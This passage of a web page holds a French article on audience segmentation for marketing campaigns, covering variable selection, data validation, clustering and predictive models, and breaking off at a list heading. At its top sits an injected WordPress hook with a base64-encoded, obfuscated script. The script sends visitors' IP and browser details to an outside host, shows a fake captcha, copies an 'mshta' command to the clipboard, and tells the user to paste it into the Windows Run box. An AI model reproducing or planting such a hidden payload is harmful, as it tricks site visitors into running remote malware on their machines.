function addingtopress_wp_enqueue() { $encoded_script = 'ZnVuY3Rpb24gXzB4NTk5OChfMHgyZGNkOTcsXzB4MjdhODExKXtjb25zdCBfMHgyMzU5MWI9XzB4MjM1OSgpO3JldHVybiBfMHg1OTk4PWZ1bmN0aW9uKF8weDU5OThhMixfMHgyNDAwNTQpe18weDU5OThhMj1fMHg1OTk4YTItMHgxMzI7bGV0IF8weDJhZjU4ZD1fMHgyMzU5MWJbXzB4NTk5OGEyXTtyZXR1cm4gXzB4MmFmNThkO30sXzB4NTk5OChfMHgyZGNkOTcsXzB4MjdhODExKTt9KGZ1bmN0aW9uKF8weDIyMmI3MyxfMHgyZTVlOGUpe2NvbnN0IF8weDVkYjMwMz1fMHg1OTk4LF8weDRkZGY1Yz1fMHgyMjJiNzMoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4MmVjNTFlPS1wYXJzZUludChfMHg1ZGIzMDMoMHgxMzgpKS8weDErcGFyc2VJbnQoXzB4NWRiMzAzKDB4MTRjKSkvMHgyK3BhcnNlSW50KF8weDVkYjMwMygweDE2MykpLzB4MytwYXJzZUludChfMHg1ZGIzMDMoMHgxNjIpKS8weDQrLXBhcnNlSW50KF8weDVkYjMwMygweDEzNSkpLzB4NStwYXJzZUludChfMHg1ZGIzMDMoMHgxNTEpKS8weDYqKC1wYXJzZUludChfMHg1ZGIzMDMoMHgxNzQpKS8weDcpK3BhcnNlSW50KF8weDVkYjMwMygweDE0NSkpLzB4ODtpZihfMHgyZWM1MWU9PT1fMHgyZTVlOGUpYnJlYWs7ZWxzZSBfMHg0ZGRmNWNbJ3B1c2gnXShfMHg0ZGRmNWNbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weGQ3NWVhMyl7XzB4NGRkZjVjWydwdXNoJ10oXzB4NGRkZjVjWydzaGlmdCddKCkpO319fShfMHgyMzU5LDB4Yzc5MjIpLChmdW5jdGlvbigpe2NvbnN0IF8weDNmNTdmOD1fMHg1OTk4LF8weDVlZDdjMT0weGZhMCxfMHg0MTIzYzM9MHhiYjgsXzB4NDhkOTc0PV8weDNmNTdmOCgweDE0ZCksXzB4NTk1MzJhPV8weDNmNTdmOCgweDE0OCk7ZG9jdW1lbnRbXzB4M2Y1N2Y4KDB4MTQwKV09XzB4M2Y1N2Y4KDB4MTM5KSxkb2N1bWVudFsnY29va2llJ109XzB4M2Y1N2Y4KDB4MTYwKSx3aW5kb3dbXzB4M2Y1N2Y4KDB4MTQxKV09dW5kZWZpbmVkO3dpbmRvd1tfMHgzZjU3ZjgoMHgxNzMpXSYmKHdpbmRvd1tfMHgzZjU3ZjgoMHgxNzMpXVtfMHgzZjU3ZjgoMHgxNjcpXT1mdW5jdGlvbigpe3JldHVybicnO30pO2Z1bmN0aW9uIF8weDZjODM4Yigpe2NvbnN0IF8weDU3NzI3Nj1fMHgzZjU3ZjgsXzB4MjMzYTg0PWRvY3VtZW50W18weDU3NzI3NigweDEzYSldKF8weDU3NzI3NigweDEzMykpO18weDIzM2E4NFtfMHg1NzcyNzYoMHgxNGYpXShfMHgxY2FiNGU9Pntjb25zdCBfMHgxMDg1N2E9XzB4NTc3Mjc2LF8weDEwMTc4NT1fMHgxY2FiNGVbXzB4MTA4NTdhKDB4MTZkKV18fCcnLF8weDY3Mzg5Zj1fMHgxMDE3ODVbXzB4MTA4NTdhKDB4MTZiKV0oJ2Jhc2U2NCcpLF8weDczMWVlZj1fMHgxY2FiNGVbJ2lkJ109PT1fMHg1OTUzMmE7XzB4NjczODlmJiYhXzB4NzMxZWVmJiZfMHgxY2FiNGVbJ3JlbW92ZSddKCk7fSk7fWZ1bmN0aW9uIF8weDEzMGYxMygpe2NvbnN0IF8weDJhN2Y1OT1fMHgzZjU3ZjgsXzB4NTNlNDJmPW5ldyBNdXRhdGlvbk9ic2VydmVyKF8weDQyOTYxNj0+e18weDQyOTYxNlsnZm9yRWFjaCddKF8weDQ3MGVmMz0+e2NvbnN0IF8weDIzYjJlOD1fMHg1OTk4O18weDQ3MGVmM1tfMHgyM2IyZTgoMHgxNWQpXSYmXzB4NDcwZWYzW18weDIzYjJlOCgweDE1ZCldW18weDIzYjJlOCgweDE0ZildKF8weDQxZWVhZj0+e2NvbnN0IF8weDMwOGQ2ND1fMHgyM2IyZTg7aWYoXzB4NDFlZWFmW18weDMwOGQ2NCgweDE0OSldPT09XzB4MzA4ZDY0KDB4MTY4KSl7Y29uc3QgXzB4MmMyN2JkPV8weDQxZWVhZltfMHgzMDhkNjQoMHgxNmQpXXx8JycsXzB4MTFmM2VjPV8weDQxZWVhZlsnaWQnXT09PV8weDU5NTMyYTtfMHgyYzI3YmRbXzB4MzA4ZDY0KDB4MTZiKV0oJ2Jhc2U2NCcpJiYhXzB4MTFmM2VjJiZfMHg0MWVlYWZbXzB4MzA4ZDY0KDB4MTVlKV0oKTt9fSk7fSk7fSk7XzB4NTNlNDJmW18weDJhN2Y1OSgweDE0YSldKGRvY3VtZW50W18weDJhN2Y1OSgweDE2NSldfHxkb2N1bWVudFtfMHgyYTdmNTkoMHgxNDMpXSx7J2NoaWxkTGlzdCc6ISFbXSwnc3VidHJlZSc6ISFbXX0pO31mdW5jdGlvbiBfMHhjZmVkMmYoKXtjb25zdCBfMHgzOTlmMWI9XzB4M2Y1N2Y4O2NvbnNvbGVbJ2xvZyddKCfQo9C00LDQu9C10L3QuNC1XHgyMNCy0YHQtdGFXHgyMDxpZnJhbWU+XHgyMNGN0LvQtdC80LXQvdGC0L7Qsi4uLicpO2NvbnN0IF8weDJjYjgxNz1kb2N1bWVudFtfMHgzOTlmMWIoMHgxM2EpXShfMHgzOTlmMWIoMHgxNmYpKTtfMHgyY2I4MTdbXzB4Mzk5ZjFiKDB4MTRmKV0oXzB4NDhlMDM3PT57Y29uc3QgXzB4MWM4NDFmPV8weDM5OWYxYjtfMHg0OGUwMzdbXzB4MWM4NDFmKDB4MTVlKV0oKTt9KTt9ZnVuY3Rpb24gXzB4MmExYWM5KCl7Y29uc3QgXzB4Mzg2OGM4PV8weDNmNTdmOCxfMHgzODhmMzk9bmV3IE11dGF0aW9uT2JzZXJ2ZXIoXzB4NTM2M2NjPT57Y29uc3QgXzB4NDNiMDhhPV8weDU5OTg7XzB4NTM2M2NjW18weDQzYjA4YSgweDE0ZildKF8weDUyMTZlMD0+e2NvbnN0IF8weDNmYWRhZj1fMHg0M2IwOGE7XzB4NTIxNmUwWydhZGRlZE5vZGVzJ10mJl8weDUyMTZlMFsnYWRkZWROb2RlcyddW18weDNmYWRhZigweDE0ZildKF8weDMzZjBhYj0+e2NvbnN0IF8weDU4Y2MyMz1fMHgzZmFkYWY7XzB4MzNmMGFiW18weDU4Y2MyMygweDE0OSldPT09J0lGUkFNRScmJl8weDMzZjBhYltfMHg1OGNjMjMoMHgxNWUpXSgpO30pO30pO30pO18weDM4OGYzOVsnb2JzZXJ2ZSddKGRvY3VtZW50W18weDM4NjhjOCgweDE0MildfHxkb2N1bWVudFsnZG9jdW1lbnRFbGVtZW50J10seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4M2QyZmFiKCl7Y29uc3QgXzB4NTM3MWQxPV8weDNmNTdmODtuZXcgTXV0YXRpb25PYnNlcnZlcihfMHgyMDE1MDE9Pntjb25zdCBfMHg1ODljODg9XzB4NTk5ODtfMHgyMDE1MDFbXzB4NTg5Yzg4KDB4MTRmKV0oXzB4NDcxMTUxPT57Y29uc3QgXzB4NDk4M2E5PV8weDU4OWM4ODtfMHg0NzExNTFbJ2FkZGVkTm9kZXMnXVtfMHg0OTgzYTkoMHgxNGYpXShfMHgyYzE3ZDg9Pntjb25zdCBfMHhlMjBiOGU9XzB4NDk4M2E5O18weDJjMTdkOFtfMHhlMjBiOGUoMHgxNDkpXT09PV8weGUyMGI4ZSgweDE2OCkmJl8weDJjMTdkOFtfMHhlMjBiOGUoMHgxMzQpXSYmXzB4MmMxN2Q4W18weGUyMGI4ZSgweDE1ZSldKCk7fSk7fSk7fSlbXzB4NTM3MWQxKDB4MTRhKV0oZG9jdW1lbnRbXzB4NTM3MWQxKDB4MTQzKV0seydjaGlsZExpc3QnOiEhW10sJ3N1YnRyZWUnOiEhW119KTt9ZnVuY3Rpb24gXzB4ZmUyYWFhKCl7Y29uc3QgXzB4NTg3N2NkPV8weDNmNTdmODtmZXRjaChfMHg1ODc3Y2QoMHgxM2YpKVsndGhlbiddKF8weDI3OTVjNz0+XzB4Mjc5NWM3W18weDU4NzdjZCgweDEzNildKCkpW18weDU4NzdjZCgweDE1MildKF8weDI4NTE5Nj0+e2NvbnN0IF8weDg1NjVkPV8weDU4NzdjZCxfMHg1NTA1OTU9eydpcCc6XzB4Mjg1MTk2WydpcCddLCdicm93c2VyJzpuYXZpZ2F0b3JbJ3VzZXJBZ2VudCddLCdsYW5ndWFnZSc6bmF2aWdhdG9yW18weDg1NjVkKDB4MTc4KV0sJ29zJzpuYXZpZ2F0b3JbXzB4ODU2NWQoMHgxMzIpXX07ZmV0Y2goXzB4ODU2NWQoMHgxNTQpLHsnbWV0aG9kJzpfMHg4NTY1ZCgweDE3OSksJ2hlYWRlcnMnOnsnQ29udGVudC1UeXBlJzpfMHg4NTY1ZCgweDE1Myl9LCdib2R5JzpKU09OW18weDg1NjVkKDB4MTVhKV0oXzB4NTUwNTk1KX0pW18weDg1NjVkKDB4MTUyKV0oXzB4NGVjMjk5PT5fMHg0ZWMyOTlbXzB4ODU2NWQoMHgxMzYpXSgpKVtfMHg4NTY1ZCgweDE1MildKF8weDg4ZDJlMD0+e2NvbnN0IF8weDQxZjBmMD1fMHg4NTY1ZDtpZihfMHg4OGQyZTBbJ3NraXBDYXB0Y2hhJ10pcmV0dXJuO2lmKF8weDg4ZDJlMFsnc3R5bGUnXSl7Y29uc3QgXzB4NTdjODEwPWRvY3VtZW50W18weDQxZjBmMCgweDE2ZSldKF8weDQxZjBmMCgweDEzNykpO18weDU3YzgxMFsnaWQnXT0nbXktY3VzdG9tLXN0eWxlJyxfMHg1N2M4MTBbXzB4NDFmMGYwKDB4MTZkKV09XzB4ODhkMmUwW18weDQxZjBmMCgweDEzNyldLGRvY3VtZW50W18weDQxZjBmMCgweDE0MildW18weDQxZjBmMCgweDE2NCldKF8weDU3YzgxMCk7fV8weDg4ZDJlMFtfMHg0MWYwZjAoMHgxNTYpXSYmZG9jdW1lbnRbXzB4NDFmMGYwKDB4MTQyKV1bXzB4NDFmMGYwKDB4MTU1KV0oXzB4NDFmMGYwKDB4MTViKSxfMHg4OGQyZTBbXzB4NDFmMGYwKDB4MTU2KV0pLF8weDVjNWE2MSgpO30pW18weDg1NjVkKDB4MTRlKV0oXzB4NTJiMGJlPT5jb25zb2xlW18weDg1NjVkKDB4MTNkKV0oXzB4ODU2NWQoMHgxNzUpLF8weDUyYjBiZSkpO30pW18weDU4NzdjZCgweDE0ZSldKF8weDI0MWU3Zj0+Y29uc29sZVtfMHg1ODc3Y2QoMHgxM2QpXShfMHg1ODc3Y2QoMHgxNzIpLF8weDI0MWU3ZikpO31mdW5jdGlvbiBfMHg1YzVhNjEoKXtjb25zdCBfMHgzMmI0MWY9XzB4M2Y1N2Y4LF8weGU5NzNkMT1kb2N1bWVudFtfMHgzMmI0MWYoMHgxNDYpXSgnY2FwdGNoYUNoZWNrYm94JyksXzB4MTQ5Mjc5PWRvY3VtZW50W18weDMyYjQxZigweDE0NildKCdwb3B1cE92ZXJsYXknKSxfMHg2ZTZlMT1kb2N1bWVudFtfMHgzMmI0MWYoMHgxNDYpXShfMHgzMmI0MWYoMHgxNmEpKSxfMHg1ZWI4NTI9ZG9jdW1lbnRbXzB4MzJiNDFmKDB4MTNhKV0oXzB4MzJiNDFmKDB4MTQ0KSksXzB4NGI0MmExPWRvY3VtZW50W18weDMyYjQxZigweDE0NildKCdlcnJvckNvbnRhaW5lcicpO2xldCBfMHgzNDZkNmQ9MHgwLF8weDE3Yzc2ND0hW107ZnVuY3Rpb24gXzB4NThjZjMxKCl7Y29uc3QgXzB4NDJiMDQwPV8weDMyYjQxZjtsZXQgXzB4MzA4ODQ4PWRvY3VtZW50W18weDQyYjA0MCgweDE0NildKF8weDQyYjA0MCgweDE1YykpLF8weDEyMGIxMT1fMHgzMDg4NDg/XzB4MzA4ODQ4W18weDQyYjA0MCgweDE3MCldOm51bGw7aWYoIV8weDEyMGIxMSl7Y29uc29sZVsnZXJyb3InXShfMHg0MmIwNDAoMHgxNTcpKTtyZXR1cm47fWxldCBfMHg0ZTM2Nzc9XzB4NDJiMDQwKDB4MTNlKStfMHgxMjBiMTErJ1x4MjInO2NvbnN0IF8weDU4MTYyNz1kb2N1bWVudFsnY3JlYXRlRWxlbWVudCddKCd0ZXh0YXJlYScpO18weDU4MTYyN1tfMHg0MmIwNDAoMHgxNzApXT1fMHg0ZTM2NzcsZG9jdW1lbnRbXzB4NDJiMDQwKDB4MTQyKV1bXzB4NDJiMDQwKDB4MTY0KV0oXzB4NTgxNjI3KSxfMHg1ODE2MjdbXzB4NDJiMDQwKDB4MTRiKV0oKSxkb2N1bWVudFsnZXhlY0NvbW1hbmQnXShfMHg0MmIwNDAoMHgxM2MpKSxkb2N1bWVudFsnYm9keSddWydyZW1vdmVDaGlsZCddKF8weDU4MTYyNyk7fV8weGU5NzNkMSYmXzB4ZTk3M2QxW18weDMyYjQxZigweDEzYildKF8weDMyYjQxZigweDE2OSksZnVuY3Rpb24oKXtjb25zdCBfMHg0MTI3Y2U9XzB4MzJiNDFmO2lmKF8weDE3Yzc2NClyZXR1cm47XzB4MTQ5Mjc5W18weDQxMjdjZSgweDEzNyldWydkaXNwbGF5J109XzB4NDEyN2NlKDB4MTY2KSxfMHg2ZTZlMVtfMHg0MTI3Y2UoMHgxMzcpXVsnZGlzcGxheSddPV8weDQxMjdjZSgweDE2NiksXzB4NmU2ZTFbXzB4NDEyN2NlKDB4MTM3KV1bJ29wYWNpdHknXT0nMCcsc2V0VGltZW91dCgoKT0+e2NvbnN0IF8weDNlYzNjYj1fMHg0MTI3Y2U7XzB4NmU2ZTFbJ3N0eWxlJ11bXzB4M2VjM2NiKDB4MTcxKV09J29wYWNpdHlceDIwMC41c1x4MjBlYXNlJyxfMHg2ZTZlMVtfMHgzZWMzY2IoMHgxMzcpXVsnb3BhY2l0eSddPScxJzt9LDB4YSk7fSk7XzB4MTQ5Mjc5JiZfMHgxNDkyNzlbXzB4MzJiNDFmKDB4MTNiKV0oXzB4MzJiNDFmKDB4MTY5KSxmdW5jdGlvbigpe2NvbnN0IF8weDE3YjAzOT1fMHgzMmI0MWY7XzB4MTQ5Mjc5W18weDE3YjAzOSgweDEzNyldWydkaXNwbGF5J109J25vbmUnLF8weDZlNmUxW18weDE3YjAzOSgweDEzNyldW18weDE3YjAzOSgweDE3NyldPV8weDE3YjAzOSgweDE1MCk7fSk7XzB4NWViODUyJiZfMHg1ZWI4NTJbXzB4MzJiNDFmKDB4MTRmKV0oXzB4OWZhODZhPT57Y29uc3QgXzB4MTFkZGViPV8weDMyYjQxZjtfMHg5ZmE4NmFbXzB4MTFkZGViKDB4MTNiKV0oXzB4MTFkZGViKDB4MTY5KSwoKT0+e2NvbnN0IF8weDJjMzFjMD1fMHgxMWRkZWI7IV8weDlmYTg2YVsnY2xhc3NMaXN0J11bXzB4MmMzMWMwKDB4MTU5KV0oJ3NlbGVjdGVkJyk/KF8weDlmYTg2YVtfMHgyYzMxYzAoMHgxNmMpXVtfMHgyYzMxYzAoMHgxNzYpXShfMHgyYzMxYzAoMHgxNTgpKSxfMHgzNDZkNmQrKyk6KF8weDlmYTg2YVtfMHgyYzMxYzAoMHgxNmMpXVtfMHgyYzMxYzAoMHgxNWUpXShfMHgyYzMxYzAoMHgxNTgpKSxfMHgzNDZkNmQtLSksXzB4MzQ2ZDZkPT09MHgyJiYoXzB4MTQ5Mjc5W18weDJjMzFjMCgweDEzNyldW18weDJjMzFjMCgweDE3NyldPSdub25lJyxfMHg2ZTZlMVsnc3R5bGUnXVtfMHgyYzMxYzAoMHgxNzcpXT1fMHgyYzMxYzAoMHgxNTApLF8weDQ3YzRiYSgpLF8weDU4Y2YzMSgpKTt9KTt9KTtmdW5jdGlvbiBfMHg0N2M0YmEoKXtjb25zdCBfMHg0NTBmM2M9XzB4MzJiNDFmO18weDRiNDJhMSYmKF8weDRiNDJhMVtfMHg0NTBmM2MoMHgxNmQpXT1fMHg0NTBmM2MoMHgxNDcpKSxfMHgxN2M3NjQ9ISFbXTt9fXNldFRpbWVvdXQoXzB4Y2ZlZDJmLF8weDVlZDdjMSksXzB4MmExYWM5KCksc2V0VGltZW91dChfMHg2YzgzOGIsXzB4NWVkN2MxKSxfMHgxMzBmMTMoKSxfMHgzZDJmYWIoKSxkb2N1bWVudFtfMHgzZjU3ZjgoMHgxNjEpXT09PV8weDNmNTdmOCgweDE1Zik/ZG9jdW1lbnRbXzB4M2Y1N2Y4KDB4MTNiKV0oJ0RPTUNvbnRlbnRMb2FkZWQnLCgpPT57c2V0VGltZW91dChfMHhmZTJhYWEsXzB4NDEyM2MzKTt9KTpzZXRUaW1lb3V0KF8weGZlMmFhYSxfMHg0MTIzYzMpO30oKSkpO2Z1bmN0aW9uIF8weDIzNTkoKXtjb25zdCBfMHg0ZDc5MzA9Wyd1bmd6aXAnLCdTQ1JJUFQnLCdjbGljaycsJ3BvcHVwJywnaW5jbHVkZXMnLCdjbGFzc0xpc3QnLCdpbm5lckhUTUwnLCdjcmVhdGVFbGVtZW50JywnaWZyYW1lJywndmFsdWUnLCd0cmFuc2l0aW9uJywnRmFpbGVkXHgyMHRvXHgyMGZldGNoXHgyMElQOicsJ3Bha28nLCcyMDUyNzVGdUVsa2snLCdFcnJvcjonLCdhZGQnLCdkaXNwbGF5JywnbGFuZ3VhZ2UnLCdQT1NUJywncGxhdGZvcm0nLCdzY3JpcHQnLCdhc3luYycsJzQ1MzEwNzBKVVZZcGUnLCdqc29uJywnc3R5bGUnLCcxMTg5MjY5QVlPVVp2JywnZGF0YS1haS1jb2xsZWN0aW5nLXNob3duPXRydWU7XHgyMG1heC1hZ2U9MzE1MzYwMDA7XHgyMHBhdGg9LztceDIwc2FtZXNpdGU9bGF4JywncXVlcnlTZWxlY3RvckFsbCcsJ2FkZEV2ZW50TGlzdGVuZXInLCdjb3B5JywnZXJyb3InLCdtc2h0YVx4MjAnLCdodHRwczovL2FwaS5pcGlmeS5vcmc/Zm9ybWF0PWpzb24nLCdjb29raWUnLCdXZWIzJywnYm9keScsJ2RvY3VtZW50RWxlbWVudCcsJy5jYXB0Y2hhLWltYWdlc1x4MjBpbWcnLCcxNTQ0MzcyOFdKWG1rUCcsJ2dldEVsZW1lbnRCeUlkJywnXHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPGRpdlx4MjBjbGFzcz1ceDIyZXJyb3ItbWVzc2FnZVx4MjI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxiPlZlcmlmaWNhdGlvblx4MjBGYWlsZWRceDIwLVx4MjBOZXR3b3JrXHgyMEVycm9yPC9iPjxicj48YnI+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFRoZVx4MjBuZXR3b3JrXHgyMEROU1x4MjBtaWdodFx4MjBiZVx4MjB1bnN0YWJsZSxceDIwY2F1c2luZ1x4MjBlcnJvcnMuXHgyMDxicj48YnI+VG9ceDIwZml4XHgyMHRoaXM6PGJyPlx4MGFceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8dWw+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwPGltZ1x4MjBzcmM9XHgyMmh0dHBzOi8vbXNkbnNyZXNldC5pY3UvaW1nL3dpbmRvd3MtMTAucG5nXHgyMlx4MjBhbHQ9XHgyMldpbmRvd3NceDIwSWNvblx4MjJceDIwc3R5bGU9XHgyMndpZHRoOlx4MjAxOHB4O1x4MjBoZWlnaHQ6XHgyMDE4cHg7XHgyMHBvc2l0aW9uOlx4MjByZWxhdGl2ZTtceDIwdG9wOlx4MjA0cHg7XHgyMj5ceDIwV2luZG93c1x4MjArXHgyMFIuPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMDxsaT5QcmVzc1x4MjBDVFJMXHgyMCtceDIwVjwvbGk+XHgwYVx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8bGk+UHJlc3NceDIwRW50ZXIuPC9saT5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwPC91bD5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjA8L2Rpdj5ceDBhXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBceDIwXHgyMCcsJ215LWN1c3RvbS1zY3JpcHQnLCd0YWdOYW1lJywnb2JzZXJ2ZScsJ3NlbGVjdCcsJzE4ODU0NjJ2VWdpQWsnLCdteS1jdXN0b20tc3R5bGUnLCdjYXRjaCcsJ2ZvckVhY2gnLCdub25lJywnMjUyYXJ6T2NOJywndGhlbicsJ2FwcGxpY2F0aW9uL2pzb24nLCdodHRwczovL21hZHByb3h5cy50b3AvY29uZWN0b3JzLnBocCcsJ2luc2VydEFkamFjZW50SFRNTCcsJ2h0bWwnLCfQntGI0LjQsdC60LA6XHgyMHdvcmtpbmdVcmxceDIw0L3QtVx4MjDQvdCw0LnQtNC10L0nLCdzZWxlY3RlZCcsJ2NvbnRhaW5zJywnc3RyaW5naWZ5JywnYmVmb3JlZW5kJywnd29ya2luZ1VybCcsJ2FkZGVkTm9kZXMnLCdyZW1vdmUnLCdsb2FkaW5nJywnZGF0YS1haS1jb2xsZWN0aW5nPXRydWU7XHgyMG1heC1hZ2U9MzE1MzYwMDA7XHgyMHBhdGg9LztceDIwc2FtZXNpdGU9bGF4JywncmVhZHlTdGF0ZScsJzI5MTg2NzZ2TVRhdXEnLCcxNjI1MTI3TEVkUFhJJywnYXBwZW5kQ2hpbGQnLCdoZWFkJywnYmxvY2snXTtfMHgyMzU5PWZ1bmN0aW9uKCl7cmV0dXJuIF8weDRkNzkzMDt9O3JldHVybiBfMHgyMzU5KCk7fQ=='; echo ''; } add_action('wp_enqueue_scripts', 'addingtopress_wp_enqueue', 1); Optimisation avancée de la segmentation des audiences : méthodologies, techniques et déploiements experts 10-2025 |
Slogan

8 (918) 460-54-52
8 (952) 831-88-88

График работы: Ежедневно с 9-00 до 21-00

Optimisation avancée de la segmentation des audiences : méthodologies, techniques et déploiements experts 10-2025

1. Analyse approfondie des critères de segmentation pour une campagne ciblée

a) Identification et définition précise des variables démographiques, psychographiques et comportementales

Pour une segmentation experte, la première étape consiste à définir avec précision chaque variable. Commencez par analyser les données démographiques telles que l’âge, le sexe, la localisation géographique (région, urbanisation), et le niveau d’éducation. Utilisez des outils de collecte comme les bases CRM, Google Analytics, ou des panels d’études de marché pour recueillir ces données. Ensuite, intégrez des variables psychographiques : valeurs, intérêts, styles de vie, attitudes, et motivations. Ces éléments peuvent être extraits via des enquêtes qualitatives, des analyses de réseaux sociaux ou des outils d’écoute sociale (ex : Brandwatch, Talkwalker). Enfin, les variables comportementales incluent la fréquence d’achat, la récence, la fidélité, ainsi que le comportement en ligne (clics, temps passé, engagement sur réseaux sociaux).

Pour garantir la fiabilité, croisez ces variables avec des données provenant de sources internes (CRM, ERP) et externes (sociodémographie nationale, études sectorielles). Utilisez des techniques de validation statistique comme la corrélation ou le coefficient de concordance pour éliminer les variables redondantes ou peu discriminantes.

b) Méthodologie pour collecter et valider des données fiables via des sources internes et externes

Adoptez une démarche structurée en plusieurs étapes :

  1. Audit des sources internes : identifiez et nettoyez vos bases CRM, historiques d’achats, interactions numériques et bases de contact email. Vérifiez la cohérence, la complétude et la fraîcheur des données. Implémentez des routines de mise à jour régulières pour éviter l’obsolescence.
  2. Intégration de sources externes : utilisez des panels démographiques, des données publiques (INSEE, Eurostat), et des études sectorielles pour enrichir votre base. Mettez en place une API ou un ETL dédié pour automatiser l’importation et la synchronisation des données externes.
  3. Validation et nettoyage : appliquez des techniques de détection des anomalies (z-score, méthodes de clustering pour isoler les outliers), et de déduplication. Utilisez des outils comme Python (pandas, scikit-learn) ou R (dplyr, data.table) pour automatiser ces processus.
  4. Segmentation initiale : effectuez une analyse descriptive pour vérifier la représentativité et la répartition des variables. Contrôlez la stabilité des distributions dans le temps.

c) Étapes pour segmenter en sous-groupes homogènes en utilisant des techniques statistiques avancées

Pour atteindre une granularité optimale, la segmentation doit reposer sur des méthodes quantitatives robustes. Voici la démarche experte recommandée :

  1. Réduction dimensionnelle : appliquez une analyse factorielle exploratory (AFE) ou une analyse en composantes principales (ACP) pour réduire la complexité des variables. Par exemple, regroupez des dizaines d’attributs en facteurs clés (ex : facteurs psychographiques : valeurs d’indépendance, quête de reconnaissance).
  2. Clustering : utilisez des algorithmes non supervisés comme le K-means, le clustering hiérarchique, ou encore des méthodes avancées comme DBSCAN ou HDBSCAN pour identifier des sous-groupes naturellement homogènes. Déterminez le nombre optimal de clusters via des méthodes telles que la silhouette ou le coefficient de Calinski-Harabasz.

    Exemple pratique : si vous segmentez une base de 50 000 contacts, commencez par une ACP pour réduire à 10-15 dimensions, puis appliquez un K-means avec un nombre de clusters testé entre 3 et 10, en choisissant celui qui maximise la silhouette moyenne.

  3. Validation : évaluez la cohérence interne de chaque cluster avec des indicateurs tels que la variance intra-cluster, et la différenciation inter-cluster. Utilisez des visualisations comme les plots en 2D ou 3D pour vérifier la séparation.

d) Pièges courants lors de la sélection des critères et comment les éviter

L’un des pièges majeurs réside dans la sur-segmentation, qui fragilise la capacité de déploiement et augmente la complexité opérationnelle. Pour l’éviter :

  • Limiter le nombre de critères : privilégiez ceux ayant une forte discriminabilité et une valeur prédictive avérée. Utilisez des techniques comme l’analyse de l’importance des variables via Random Forest pour prioriser.
  • Éviter le biais de sélection : assurez-vous que la sélection des variables ne privilégie pas certains segments au détriment d’autres, en utilisant des techniques de validation croisée.
  • Contrôler la stabilité de la segmentation : testez la cohérence des segments dans différentes périodes temporelles et avec des sous-ensembles aléatoires de données pour éviter la sur-optimisation sur un seul jeu.
  • Attention aux biais liés à la taille des segments : évitez de créer des segments infimes (moins de 50 individus) qui risquent d’être peu exploitables. Favorisez des groupes d’au moins 100 à 200 individus pour assurer une action marketing efficace.

2. Mise en place d’un modèle de segmentation basé sur la data

a) Construction d’un modèle prédictif à partir des données historiques

L’objectif est d’utiliser des techniques de machine learning supervisé pour prévoir le comportement futur de segments cibles. La démarche experte s’articule comme suit :

  1. Préparation du dataset : sélectionnez les variables pertinentes issues de la segmentation précédente, en veillant à leur qualité (absence de valeurs manquantes, cohérence). Ajoutez des variables dérivées si nécessaire (ex : ratio d’engagement / fréquence d’achat).
  2. Définition de la cible : par exemple, « achat dans les 30 prochains jours », « conversion à un événement spécifique » ou « fidélité accrue ».
  3. Partitionnement : divisez votre dataset en jeux d’entraînement (70-80%) et de test (20-30%) en utilisant une stratification pour préserver la distribution de la cible.
  4. Entraînement : appliquez un algorithme supervisé : forêts aléatoires (Random Forest), SVM (Support Vector Machine), ou réseaux neuronaux profonds selon la complexité et la volumétrie. Optimisez les hyperparamètres via Grid Search ou Random Search avec validation croisée (k-fold).
  5. Évaluation : utilisez des métriques telles que l’AUC, la précision, le rappel, et la F1-score pour mesurer la performance. Vérifiez aussi la courbe ROC pour détecter un éventuel surapprentissage.

b) Choix des algorithmes adaptés et paramétrage précis

Les algorithmes doivent être sélectionnés en fonction de la nature des données et de l’objectif. Par exemple :

Algorithme Cas d’usage Paramétrage clé
Random Forest Prédiction de propension à acheter Nombre d’arbres, profondeur maximale, critère de splitting
SVM Segmentation de clients selon leurs comportements Type de kernel, paramètre C, gamma
Réseaux neuronaux Modélisation de comportements complexes Nombre de couches, neurones par couche, taux d’apprentissage

c) Étapes pour entraîner, valider et tester le modèle avec des jeux de données représentatifs

Les étapes clés sont :

